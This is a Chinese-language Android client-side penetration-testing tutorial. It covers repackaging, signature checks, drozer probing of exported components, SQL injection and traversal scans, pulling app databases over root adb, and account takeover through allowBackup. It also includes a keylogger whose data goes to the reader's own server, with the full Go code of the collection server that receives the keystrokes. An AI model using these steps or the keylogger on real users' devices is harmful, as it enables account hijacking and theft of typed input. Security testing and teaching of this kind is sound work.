app渗透测试 客户端篇
基本知识
平时安装的应用位置,里面主要是odex可运行文件
/data/app
系统应用位置(需要root权限),里面主要是odex可运行文件
/system/app
应用的数据相关的位置,里面包含一些配置,缓存信息
/data/data
重打包测试测试
测试流程
检测app是否检测签名,如果未检测签名可重打包篡改app的代码再次发布
首先准备2个工具,apktool.jar和signapk.jar,其次寻找签名需要的2个证书文件pk8和pem,可以直接生成我这里直接拿别人编译好的,github上随便搜索signapk的项目,找到的下面内容
https://github.com/sunshinelyz/mykit-android-signapk
获取了之后先看之前app的样子
为了明显目的是将程序未注册改为其他的显示
拿到apk,使用apktool进行反编译, -f
为apk名称 -o
为生成的文件夹名称
apktool d -f app-debug.apk -o app
或
java -jar apktool.jar d -f app-debug.apk -o app
此时我们当前路径下就多了app目录,打开他,目录结构如下,和使用jad和jre反编译不同,他没有dex文件,而是smali文件
我们再smali中找到程序未注册的字符位置,中文在smali中是以unicode编码的形式存储
将其修改,hijacking test
重新打包,此处-f
参数为项目文件夹, -o
为生成的apk名称
apktool b -f app -o test.apk
或
java -jar apktool.jar -f app -o test.apk
此时还不够,需要进行签名
java -jar signapk.jar platform.x509.pem platform.pk8 test.apk test-final.apk
生成我们最终的test-final.apk
但是在安装时,会出现与已安装的应用签名不同,但这并不是说明程序进行了签名校验,只是安卓系统进行了版本更新的对比
将之前的程序删掉
再次安装成功
打开也成功修改了指定文本
防御方式
使用Native层代码验证代码的完整性,或者加壳
签名完整性测试
检测app是否是原本,还是被第三方重新打包的
测试流程
jarsigner -verify [apk路径]
显示未签名说明被第三方篡改重新打包了,显示已验证为完整的
检测证书情况
jarsigner -verify -verbose -certs [apk路径]
可导出组件测试
测试流程
该漏洞是因为该app组件未进行严格权限控制,导致任意app均可调用该组件导致危害
需要的工具为dorzer
导出的组件前提为,下列满足其一就可:
1.显示声明 android:exported="true"
2.未显示声明 android:exported="false" 组件不是 Content Provider 组件不包含 <intent-filter>
3.未显示声明 android:exported="false" 组件是 Content Provider api版本 < 17
首先选择目标,我在酷安上随便找了个应用
手机连接好电脑,分别启动dorzer
使用ls可用查看命令,首先查看有哪些包在运行
run app.package.list
有许多结果可以通过-f
参数进行过滤,这里查看目标app的包名可以通过手机中 设置->更多应用->对应app->应用信息里面有应用包名
run app.package.list -f xxs
查看包信息
run app.package.info -a com.xxs.leon.xxs
查看可攻击组件信息
run app.package.attacksurface com.xxs.leon.xxs
查看对应组件信息
run app.activity.info -a com.xxs.leon.xxs #查看activity组件
run app.broadcast.info -a com.xxs.leon.xxs #查看broadcast组件
run app.provider.info -a com.xxs.leon.xxs #查看provider组件
run app.service.info -a com.xxs.leon.xxs #查看service组件
那么接下来可以直接调用对应组件,实现绕过app本身逻辑直接请求组件,一般用于绕过登录之类的漏洞
实体机如果不灵光可以重启解决
run app.activity.start --component com.xxs.leon.xxs com.xxs.leon.xxs.ui.activity.WebActivity
广播模块攻击
run app.broadcast.send --action [组件路径] --extra string [输出的变量] [更改的值]
因为小小书app不太典型,因此使用dorzer官网自带的测试漏洞app
https://labs.f-secure.com/tools/drozer/
整个程序功能大致为输入密码后输出信息
启动server服务
run app.service.start --action com.mwr.example.sieve(包名) --component com.mwr.example.sieve(包名) com.mwr.example.sieve.AuthService(组件名)
查看ContentProvider并找到url路径-a
后接包名
run scanner.provider.finduris -a com.mwr.example.sieve
provider 组件可能存在客户端的sql注入和目录遍历的问题
#sql注入
run scanner.provider.injection -a com.mwr.example.sieve
#目录遍历
run scanner.provider.traversal -a com.mwr.example.sieve
敏感文件泄露
一般敏感的文件有sqlite的数据库文件,xml文件,logcat日志内容
使用root权限的adb,前往程序app的文件夹下(路径可通过drozer去查看)
adb root
adb shell
cd xxx/xxx/xxx
sqlite文件一般在databases下面
可以看到存在database.db的文件,可以通过find命令去查找
find /data/user/0/com.mwr.example.sieve -name *.db
回到pc的命令行,使用adb pull命令将db拷贝出来
adb pull /data/user/0/com.mwr.example.sieve/databases/database.db
用工具打开sqlite数据库文件
xml配置文件一般在shared_prefs下面
将其拷贝出来
adb pull /data/user/0/com.xxs.leon.xxs/shared_prefs
比如小小书的公告内容写在了配置中(这里应该是通过网络传输更新配置文件的)
Logcat 日志导出
adb shell logcat -d > 1.txt
使用文件编辑器全局搜索翻阅
静态资源备份打包
AllowBackup属性设置为true,则存在备份打包漏洞,使用原理如手机A某app登录了账号,该app的AllowBackup属性设置为true,此时在手机A上打包该app并导出,将导出的apk重新放入手机B中,手机B默认登录手机A中的账号
#连接手机A
adb kill-server
adb backup -nosystem -noshared -apk -f com.xxs.leon.xxs.ab com.xxs.leon.xxs
#连接手机B
adb kill-server
adb devices
adb restore com.xxs.leon.xxs.ab
准备手机A
手机B未登录
把小小书进行备份,并且将备份写入手机B
成功登陆
键盘记录漏洞
github项目
https://github.com/bshu2/Android-Keylogger
需要自己编译apk,自己编译时将apk的url路径改为自己的公网服务器地址
之后在服务器上启动server.go服务,这里需要改动下,将init内容写到main函数中,并且将包改为package main,端口号与apk中的修改的url地址相对应即可
package main
import (
"io/ioutil"
"fmt"
"strings"
"net/http"
)
var entries = []string{}
func init() {
http.HandleFunc("/", handler)
http.ListenAndServe(":5001", nil)
}
func handler(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case "GET":
//serve the resource
fmt.Fprintf(w, "<table><tr><th>Timestamp</th><th>Action</th><th>Data</th></tr>")
for i, _ := range entries {
fmt.Fprintf(w, "%s", entries[len(entries) - i - 1])
}
fmt.Fprintf(w, "</table>")
case "POST":
//add entry
body, err := ioutil.ReadAll(r.Body)
if err != nil {
fmt.Fprintf(w, err.Error())
}
entry := strings.SplitN(string(body), "|", 3)
new_entry := fmt.Sprintf("<tr><td>%s</td><td>%s</td> <td>%s</td></tr>", entry[0], entry[1], entry[2])
entries = append(entries, new_entry)
if len(entries) > 100 {
entries = entries[1:]
}
fmt.Fprintf(w, "POST\n")
default:
//do nothing
}
}
func main(){
http.HandleFunc("/", handler)
http.ListenAndServe(":5001", nil)
}
启动server
go run server.go
手机上启动app需要root权限,将app挂到后台
输入的记录,将发送到go语言启动的web服务器
以上操作需要root权限,并且很变态在于自定义键盘也可以获取输入内容
不需要root权限可使用专门记录键盘的app,相当于安装记录输入内容的输入法app,在测试对象没有使用自定义软键盘的情况下,调用该输入法app,则会存在输入内容被窃取记录的风险
屏幕截取漏洞
adb shell /system/bin/screencap -p /data/1.png
从手机放入电脑
adb pull /data/1.png